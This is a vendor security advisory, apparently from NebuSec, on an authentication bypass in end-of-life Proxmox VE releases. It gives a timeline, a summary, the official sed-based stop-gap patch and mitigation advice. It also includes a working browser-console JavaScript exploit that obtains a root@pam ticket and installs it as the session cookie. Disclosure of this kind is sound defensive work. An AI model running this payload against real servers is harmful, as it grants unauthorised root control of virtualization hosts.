---
title: "PSA-2026-00043-1: Proxmox VE Auth Bypass Exploit"
description: "NebuSec's exploit analysis of the critical PSA-2026-00043-1 authentication bypass affecting EOL Proxmox VE releases, including detection and mitigation."
url: https://nebusec.ai/buglist/PSA-2026-00043-1/
published: 2026-09-01T19:00:00.000Z
---

PSA-2026-00043-1 · Critical

# Arbitrary TFA challenges bypass password verification in EOL Proxmox VE releases

Proxmox VE · libpve-access-control · API authentication · Published Sep 01, 2026

POST /api2/json/access/ticket · tfa-challenge

* Fixed
* Authentication bypass
* Remote

Affects · libpve-access-control >= 7.0-7 and < 8.0.4 · Proxmox VE 7.x (EOL) · Initial Proxmox VE 8.0 release (EOL)

[View exploit→](#exploit)

Artifacts · [exploit.md](#exploit) · [patch.diff](#patch)

Disclosure timeline

1. Code path fixed

   Jul 14, 2023

2. In-the-wild exploitation reported

   Aug 28, 2026

3. Proxmox and NebuSec disclose details

   Sep 01, 2026

Your browser does not support the video tag.

## Summary

`PSA-2026-00043-1` is an authentication bypass in end-of-life Proxmox VE releases. The ticket API accepts a signed, half-authenticated TFA challenge in the `tfa-challenge` parameter. Affected versions neither validate that value for users without a configured second factor nor verify the submitted password when the parameter is present.

An unauthenticated attacker who can reach the Proxmox API on port `8006`, directly or through a reverse proxy, can therefore authenticate as any existing, enabled user without TFA. This includes `root@pam` by default.

No supported Proxmox VE release is affected. The vulnerable range is `libpve-access-control >= 7.0-7 and < 8.0.4`; check the installed package rather than relying on the overall Proxmox VE version with `dpkg-query -W -f '${Version}\n' libpve-access-control`.

## Exploit

The bypass only requires an arbitrary `tfa-challenge` value. The following browser-console payload requests a `root@pam` ticket, installs it as the web UI authentication cookie, and reloads the page:

```javascript
(async () => {
    const form = new URLSearchParams({
        username: "root@pam",
        password: "root@pam",
        "tfa-challenge": "NEBUSEC-CHALLENGE",
    });
    const loginResponse = await fetch("/api2/json/access/ticket", {
        method: "POST",
        credentials: "omit",
        headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
        body: form,
    });
    const loginBody = await loginResponse.json();
    document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
    location.reload()
})();
```

## Patch

The vulnerable code path was changed on July 14, 2023 and the fix shipped in `libpve-access-control 8.0.4`. Because the authentication impact was not known at the time, it was not backported to the Proxmox VE 7 branch.

For an affected installation that cannot be upgraded immediately, the [official Proxmox advisory](https://forum.proxmox.com/threads/proxmox-virtual-environment-security-advisories.149331/page-4#-subject-psa-2026-00043-1-authentication-bypass-in-eol-proxmox-ve-7-release) provides this stop-gap, which adds signature validation before accepting a TFA challenge:

```bash
sed -i.bck 's/^\t# This is the 2nd factor, use the password for the OTP response.$/\tverify_ticket($tfa_challenge, 0, $username);\n\t# This is the 2nd factor, use the password for the OTP response./' /usr/share/perl5/PVE/AccessControl.pm

grep -n 'verify_ticket($tfa_challenge, 0, $username)' /usr/share/perl5/PVE/AccessControl.pm | wc -l

systemctl reload-or-restart pvedaemon pveproxy
```

The `grep` command must print `3`; any other result means the patch did not apply. Restricting API access to trusted networks and configuring a second factor also block this attack, but upgrading to a supported Proxmox VE release is the only durable fix.

Find bugs in your code.

Before anyone else does.

[Book a demo](https://nebusec.ai/book-a-demo/)